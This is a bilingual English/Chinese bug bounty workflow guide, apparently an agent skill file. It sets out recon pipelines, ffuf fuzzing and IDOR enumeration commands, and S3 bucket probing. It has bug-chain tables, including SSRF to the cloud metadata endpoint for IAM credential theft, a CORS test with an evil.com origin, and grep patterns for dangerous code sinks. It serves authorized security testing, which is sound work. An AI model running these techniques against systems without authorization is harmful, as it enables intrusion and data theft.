bb-local-toolkit

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Bug Bounty Master Workflow

漏洞赏金主工作流

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
完整流水线:Recon(侦察) -> Learn(学习) -> Hunt(挖掘) -> Validate(验证) -> Report(报告)。一个 skill 覆盖所有环节。

THE ONLY QUESTION THAT MATTERS

唯一重要的问题

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
“攻击者此刻是否能对一个未采取任何异常操作的真实用户实施此操作,并且会造成真实危害(窃取资金、泄露 PII、接管账户或执行代码)?”
如果答案为否——停止。不要撰写报告。不要继续探索。转向下一目标。

Theoretical Bug = Wasted Time. Kill These Immediately:

理论漏洞 = 浪费时间。立即排除以下情况:

PatternKill Reason
"Could theoretically allow..."Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."Too many preconditions
"Wrong implementation but no practical impact"Wrong but harmless = not a bug
Dead code with a bug in itNot reachable = not a bug
Source maps without secretsNo impact
SSRF with DNS-only callbackNeed data exfil or internal access
Open redirect aloneNeed ATO or OAuth chain
"Could be used in a chain if..."Build the chain first, THEN report
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

模式排除原因
“理论上可能会允许……”无法利用就不是漏洞
“攻击者在满足 X、Y、Z 条件后可能……”前置条件过多
“实现方式错误,但没有实际影响”错误但无害,不是漏洞
含有漏洞的死代码不可达,不是漏洞
不含密钥的 Source map没有影响
只有 DNS 回调的 SSRF需要证明数据外泄或内网访问
单独的开放重定向需要形成 ATO 或 OAuth 漏洞链
“如果……理论上可以用于组成漏洞链”先构建漏洞链,再提交报告
你必须证明实际危害。“可能”不是漏洞。证明它能够被利用,否则放弃。

CRITICAL RULES

关键规则

  1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
  2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
  3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
  4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
  5. One bug class at a time -- go deep, don't spray
  6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
  7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
  8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
  9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
  10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
  11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
  12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
  13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
  14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
  15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
  16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
  17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md
.

  1. 首先阅读完整范围——确认每个资产或域名均归目标组织所有
  2. 不要提交理论漏洞——“攻击者此刻能否窃取资金、泄露 PII、接管账户或执行代码?”如果不能,停止。
  3. 快速排除薄弱发现——撰写任何报告前先执行 7-Question Gate
  4. 先验证再撰写——首先检查 CHANGELOG、设计文档和部署脚本
  5. 一次只处理一种漏洞类型——深入挖掘,不要四处撒网
  6. 验证数据是否已经公开——报告 API“泄露”前,先在无痕模式下检查 Web UI
  7. 5 分钟规则——如果探测目标 5 分钟后仍无任何结果(全部为 401/403/404),立即转向下一目标
  8. 以影响为优先进行挖掘——询问“如果认证被破坏,最坏的情况是什么?”如果没有什么有价值的目标,就跳过
  9. 凭据泄露需要利用证明——仅发现密钥并不足够,必须证明这些密钥能够访问什么
  10. 停止浅层侦察循环——不要反复探测 403,不要 grep 分析密钥,不要检查无实际价值的 staging 域名
  11. 业务影响高于漏洞类型——严重性取决于具体上下文,而不只是漏洞类型
  12. 深入理解目标——开始挖掘前,要像真实用户一样了解应用
  13. 不要过度依赖自动化——自动化扫描容易触发 WAF、造成速率限制,并且通常只能发现人人都能找到的漏洞
  14. 挖掘竞争较少的漏洞类型——XSS/SSRF/XXE 的竞争最激烈。应扩展到:缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 漏洞链、CI/CD 流水线攻击
  15. 1 小时规则——在同一目标上停留 1 小时仍无进展?切换上下文
  16. 双眼方法——将系统化测试(检查清单)与异常检测(观察意外行为)结合使用
  17. T 型知识结构——在一个领域深入,同时在其他所有领域保持广度
如需了解完整挖掘方法论——包括五阶段非线性工作流、开发者心理学框架、会话纪律、按阶段进行工具路由,以及 Wide/Deep 路径选择——请参阅
skills/bb-methodology/SKILL.md
。

A->B BUG SIGNAL METHOD (Cluster Hunting)

A->B 漏洞信号法(集群式挖掘)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
**发现漏洞 A 后,系统性地寻找附近的漏洞 B 和 C。**这是漏洞赏金领域最强大的方法之一。单个漏洞收益有限,漏洞链的收益可高出 3 到 10 倍。

Known A->B->C Chains

已知 A->B->C 漏洞链

Bug A (Signal)Hunt for Bug BEscalate to C
IDOR (read)PUT/DELETE on same endpointFull account data manipulation
SSRF (any)Cloud metadata 169.254.169.254IAM credential exfil -> RCE
XSS (stored)Check if HttpOnly is set on session cookieSession hijack -> ATO
Open redirectOAuth redirect_uri accepts your domainAuth code theft -> ATO
S3 bucket listingEnumerate JS bundlesGrep for OAuth client_secret -> OAuth chain
Rate limit bypassOTP brute forceAccount takeover
GraphQL introspectionMissing field-level authMass PII exfil
Debug endpointLeaked environment variablesCloud credential -> infrastructure access
CORS reflects originTest with credentials: includeCredentialed data theft
Host header injectionPassword reset poisoningATO via reset link
漏洞 A(信号)寻找漏洞 B升级为漏洞 C
IDOR(读取)对同一端点执行 PUT/DELETE完整操控账户数据
SSRF(任意类型)云元数据 169.254.169.254IAM 凭据外泄 -> RCE
XSS(存储型)检查会话 Cookie 是否设置 HttpOnly会话劫持 -> ATO
开放重定向OAuth redirect_uri 接受你的域名授权码窃取 -> ATO
S3 Bucket 列表可读枚举 JS bundleGrep OAuth client_secret -> OAuth 漏洞链
速率限制绕过暴力破解 OTP账户接管
GraphQL introspection缺少字段级授权大规模 PII 外泄
Debug 端点泄露环境变量云凭据 -> 基础设施访问
CORS 反射 Origin携带凭据测试:include凭据数据窃取
Host Header 注入密码重置投毒通过重置链接实施 ATO

Cluster Hunt Protocol (6 Steps)

集群式挖掘协议(6 个步骤)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
1. CONFIRM A     通过 HTTP 请求验证漏洞 A 确实存在
2. MAP SIBLINGS  找出同一 controller/module/API 组中的所有端点
3. TEST SIBLINGS 将相同漏洞模式应用到每个同类端点
4. CHAIN         如果同类端点属于不同漏洞类型,尝试组合 A + B
5. QUANTIFY      “影响 N 个用户” / “暴露价值 $X 的资产” / “N 条记录”
6. REPORT        每条漏洞链提交一份报告,而不是每个漏洞各提交一份。漏洞链收益更高。

Real Examples

真实案例

Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

Coinbase S3->Bundle->Secret->OAuth 漏洞链:
A: S3 bucket 可公开列出(单独来看为 Low)
B: JS bundle 中包含 OAuth client credentials
C: OAuth flow 缺少 PKCE 强制校验
结果: 完整的 auth code 截获漏洞链
Vienna Chatbot 漏洞链:
A: 生产环境启用了 debug 参数(单独来看为 Info)
B: Chatbot 在响应中渲染 HTML(dangerouslySetInnerHTML)
C: 通过 bot response 实施存储型 XSS,其他用户可见
结果: 具有真实影响的 P2 发现

TOP 1% HACKER MINDSET

TOP 1% 黑客思维

How Elite Hackers Think Differently

顶尖黑客有何不同

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
普通猎手:运行工具、核对清单,30 分钟后放弃。 Top 1%:构建应用内部实现的心理模型,询问“它为什么会这样工作?”关注“是什么业务决策促使开发者采用这种实现,以及他们可能走了什么捷径?”而不只是“这个端点做什么?”

Pre-Hunt Mental Framework

狩猎前思维框架

Step 1: Crown Jewel Thinking

第 1 步:核心资产思维

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
  • Financial app -> drain funds, transfer to attacker account
  • Healthcare -> PII leak, HIPAA violation
  • SaaS -> tenant data crossing, admin takeover
  • Auth provider -> full SSO chain compromise
在接触任何内容之前,先问:“如果我是攻击者,并且只能对这个应用做一件事,什么操作会造成最大破坏?”
  • 金融应用 -> 耗尽资金,将资金转入攻击者账户
  • 医疗健康 -> PII 泄露、违反 HIPAA
  • SaaS -> 跨租户数据访问、管理员接管
  • 身份认证提供商 -> 完整的 SSO 链路失陷

Step 2: Developer Empathy

第 2 步:开发者同理心

Think like the developer who built the feature:
  • What was the simplest implementation?
  • What shortcut would a tired dev take at 2am?
  • Where is auth checked -- controller? middleware? DB layer?
  • What happens when you call endpoint B without going through endpoint A first?
像构建该功能的开发者一样思考:
  • 最简单的实现方式是什么?
  • 疲惫的开发者在凌晨两点可能采用什么捷径?
  • 认证检查在哪里——controller、middleware 还是 DB 层?
  • 如果不先调用端点 A,而直接调用端点 B,会发生什么?

Step 3: Trust Boundary Mapping

第 3 步:信任边界映射

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    应用在哪里停止信任输入?
    应用在哪里假定输入已经过验证?

Step 4: Feature Interaction Thinking

第 4 步:功能交互思维

  • Does this new feature reuse old auth, or does it have its own?
  • Does the mobile API share auth logic with the web app?
  • Was this feature built by the same team or a third-party?
  • 这个新功能会复用旧认证,还是拥有自己的认证机制?
  • 移动端 API 是否与 Web 应用共享认证逻辑?
  • 该功能由同一团队构建,还是由第三方构建?

The Top 1% Mental Checklist

Top 1% 思维检查清单

  • I know the app's core business model
  • I've used the app as a real user for 15+ minutes
  • I know the tech stack (language, framework, auth system, caching)
  • I've read at least 3 disclosed reports for this program
  • I have 2 test accounts ready (attacker + victim)
  • I've defined my primary target: ONE crown jewel I'm hunting for today
  • 我了解应用的核心业务模式
  • 我已像真实用户一样使用应用至少 15 分钟
  • 我了解技术栈(语言、框架、认证系统、缓存)
  • 我至少阅读了该计划的 3 份公开报告
  • 我准备了两个测试账户(攻击者与受害者)
  • 我已确定今天唯一要追踪的核心资产

Mindset Rules from Top Hunters

顶尖猎手的思维规则

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

“追踪功能,而不是端点”——找出所有服务于同一功能的端点,然后测试它们之间的交互。
“授权不一致是你的朋友”——如果应用在 9 个位置检查了认证,却漏掉第 10 个,那就是你的漏洞。
“新功能 == 未经审查”——最近 30 天发布的功能通常安全成熟度最低。
“思考二阶影响”——二阶 SSRF:URL 保存在 DB 中,之后由 cron job 获取。二阶 XSS:存储时内容干净,但在管理面板中以不安全方式渲染。
“追踪资金流”——任何涉及支付、计费、额度、退款的功能,都是开发者最容易采用安全捷径的地方。
“移动应用使用的 API”——移动应用经常调用更旧或不同的 API 版本。它们属于同一家公司,但攻击面不同,安全成熟度更低。
“通过差异发现漏洞”——比较旧 API 文档与新文档。比较移动端 API 与 Web API。比较免费用户可以发起什么请求,以及付费用户会收到什么响应。

TOOLS

工具

Go Binaries

Go Binaries

ToolUse
subfinderPassive subdomain enum
httpxProbe live hosts
dnsxDNS resolution
nucleiTemplate scanner
katanaCrawl
waybackurlsArchive URLs
gauKnown URLs
dalfoxXSS scanner
ffufFuzzer
anewDedup append
qsreplaceReplace param values
assetfinderSubdomain enum
gfGrep patterns (xss, sqli, ssrf, redirect)
interactsh-clientOOB callbacks
工具用途
subfinder被动子域名枚举
httpx探测存活主机
dnsxDNS 解析
nuclei模板扫描
katana爬取
waybackurls归档 URL
gau已知 URL
dalfoxXSS 扫描器
ffufFuzzer
anew去重后追加
qsreplace替换参数值
assetfinder子域名枚举
gfGrep 模式(xss、sqli、ssrf、redirect)
interactsh-clientOOB 回调

Tools to Install When Needed

需要时安装的工具

ToolUseInstall
arjunHidden parameter discovery
pip3 install arjun
paramspiderURL parameter mining
pip3 install paramspider
kiterunnerAPI endpoint brute
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenumCloud asset enumeration
pip3 install cloud_enum
trufflehogSecret scanning
brew install trufflehog
gitleaksSecret scanning
brew install gitleaks
XSStrikeAdvanced XSS scanner
pip3 install xsstrike
SecretFinderJS secret extraction
pip3 install secretfinder
sqlmapSQL injection
pip3 install sqlmap
subzySubdomain takeover
go install github.com/LukaSikic/subzy@latest
工具用途安装方式
arjun隐藏参数发现
pip3 install arjun
paramspiderURL 参数挖掘
pip3 install paramspider
kiterunnerAPI 端点暴力枚举
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenum云资产枚举
pip3 install cloud_enum
trufflehogSecret 扫描
brew install trufflehog
gitleaksSecret 扫描
brew install gitleaks
XSStrike高级 XSS 扫描器
pip3 install xsstrike
SecretFinderJS secret 提取
pip3 install secretfinder
sqlmapSQL 注入
pip3 install sqlmap
subzy子域名接管
go install github.com/LukaSikic/subzy@latest

Static Analysis (Semgrep Quick Audit)

静态分析(Semgrep 快速审计)

bash
undefined
bash
undefined

Install: pip3 install semgrep

Install: pip3 install semgrep

Broad security audit

Broad security audit

semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./
semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./

Language-specific rulesets

Language-specific rulesets

semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./
semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./

Targeted rules

Targeted rules

semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./
semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./

Custom pattern (example: find SQL concat in Python)

Custom pattern (example: find SQL concat in Python)

semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

Output to file for analysis

Output to file for analysis

semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined

FFUF Advanced Techniques

FFUF 高级技巧

bash
undefined
bash
undefined

THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)

THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)

ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)

Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)

seq 1 10000 | ffuf --request req.txt -w - -ac
seq 1 10000 | ffuf --request req.txt -w - -ac

Authenticated API endpoint brute

Authenticated API endpoint brute

ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

Parameter discovery

Parameter discovery

ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

Hidden POST parameters

Hidden POST parameters

ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

Subdomain scan

Subdomain scan

ffuf -w subs.txt -u https://FUZZ.target.com -ac
ffuf -w subs.txt -u https://FUZZ.target.com -ac

Filter strategies:

Filter strategies:

-fc 404,403 Filter status codes

-fc 404,403 Filter status codes

-fs 1234 Filter by response size

-fs 1234 Filter by response size

-fw 50 Filter by word count

-fw 50 Filter by word count

-fr "not found" Filter regex in response body

-fr "not found" Filter regex in response body

-rate 5 -t 10 Rate limit + fewer threads for stealth

-rate 5 -t 10 Rate limit + fewer threads for stealth

-e .php,.bak,.old Add extensions

-e .php,.bak,.old Add extensions

-o results.json Save output

-o results.json Save output

undefined
undefined

AI-Assisted Tools

AI 辅助工具

  • strix (usestrix.com) -- open-source AI scanner for automated initial sweep

  • strix(usestrix.com)——用于自动化初始扫描的开源 AI 扫描器

PHASE 1: RECON

PHASE 1:RECON(侦察)

Standard Recon Pipeline

标准侦察流水线

bash
undefined
bash
undefined

Step 1: Subdomains

Step 1: Subdomains

subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt
subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt

Step 2: Resolve + live hosts

Step 2: Resolve + live hosts

cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

Step 3: URL collection

Step 3: URL collection

cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt

Step 4: Nuclei scan

Step 4: Nuclei scan

nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

Step 5: JS secrets

Step 5: JS secrets

cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt

Run SecretFinder on each JS file

Run SecretFinder on each JS file

Step 6: GitHub dorking (if target has public repos)

Step 6: GitHub dorking (if target has public repos)

GitDorker -org TARGET_ORG -d dorks/alldorksv3

GitDorker -org TARGET_ORG -d dorks/alldorksv3

undefined
undefined

Cloud Asset Enumeration

云资产枚举

bash
undefined
bash
undefined

Manual S3 brute

Manual S3 brute

for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined
for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined

API Endpoint Discovery

API 端点发现

bash
undefined
bash
undefined

ffuf API endpoint brute

ffuf API endpoint brute

ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined

HackerOne Scope Retrieval

获取 HackerOne 范围

bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'
bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

快速获胜检查清单

  • Subdomain takeover (
    subjack
    ,
    subzy
    )
  • Exposed
    .git
    (
    /.git/config
    )
  • Exposed env files (
    /.env
    ,
    /.env.local
    )
  • Default credentials on admin panels
  • JS secrets (SecretFinder, jsluice)
  • Open redirects (
    ?redirect=
    ,
    ?next=
    ,
    ?url=
    )
  • CORS misconfig (test
    Origin: https://evil.com
    + credentials)
  • S3/cloud buckets
  • GraphQL introspection enabled
  • Spring actuators (
    /actuator/env
    ,
    /actuator/heapdump
    )
  • Firebase open read (
    https://TARGET.firebaseio.com/.json
    )
  • 子域名接管(
    subjack
    、
    subzy
    )
  • 暴露的
    .git
    (
    /.git/config
    )
  • 暴露的环境变量文件(
    /.env
    、
    /.env.local
    )
  • 管理面板使用默认凭据
  • JS secret(SecretFinder、jsluice)
  • 开放重定向(
    ?redirect=
    、
    ?next=
    、
    ?url=
    )
  • CORS 配置错误(测试
    Origin: https://evil.com
    并携带凭据)
  • S3/云 Bucket
  • 启用 GraphQL introspection
  • Spring actuator(
    /actuator/env
    、
    /actuator/heapdump
    )
  • Firebase 开放读取(
    https://TARGET.firebaseio.com/.json
    )

Technology Fingerprinting

技术栈指纹识别

SignalTechnology
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js
信号技术
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js

Framework Quick Wins

框架快速获胜路径

Laravel:
/horizon
,
/telescope
,
/.env
,
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
,
/xmlrpc.php
,
/?author=1
Node.js:
/.env
,
/graphql
(introspection),
/_debug
AWS Cognito:
/oauth2/userInfo
(leaks Pool ID), CORS reflects arbitrary origins
Laravel:
/horizon
、
/telescope
、
/.env
、
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
、
/xmlrpc.php
、
/?author=1
Node.js:
/.env
、
/graphql
(introspection)、
/_debug
AWS Cognito:
/oauth2/userInfo
(泄露 Pool ID)、CORS 反射任意 Origin

Source Code Recon

源代码侦察

bash
undefined
bash
undefined

Security surface

Security surface

cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20

Dev breadcrumbs

Dev breadcrumbs

grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"

Dangerous patterns (JS/TS)

Dangerous patterns (JS/TS)

grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."

Dangerous patterns (Solidity)

Dangerous patterns (Solidity)

grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined
grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined

Language-Specific Grep Patterns

按语言划分的 Grep 模式

bash
undefined
bash
undefined

JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks

JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks

grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules

Python -- pickle, yaml.load, eval, shell injection

Python -- pickle, yaml.load, eval, shell injection

grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"

PHP -- type juggling, unserialize, LFI

PHP -- type juggling, unserialize, LFI

grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"

Go -- template.HTML, race conditions

Go -- template.HTML, race conditions

grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"
grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"

Ruby -- YAML.load, mass assignment

Ruby -- YAML.load, mass assignment

grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"

Rust -- panic on network input, unsafe blocks

Rust -- panic on network input, unsafe blocks

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

PHASE 2:LEARN(狩猎前情报)

Read Disclosed Reports

阅读公开报告

bash
undefined
bash
undefined

By program on HackerOne

By program on HackerOne

curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined
curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined

"What Changed" Method

“变更了什么”方法

  1. Find disclosed report for similar tech
  2. Get the fix commit
  3. Read the diff -- identify the anti-pattern
  4. Grep your target for that same anti-pattern
  1. 查找采用相似技术的公开报告
  2. 获取修复 commit
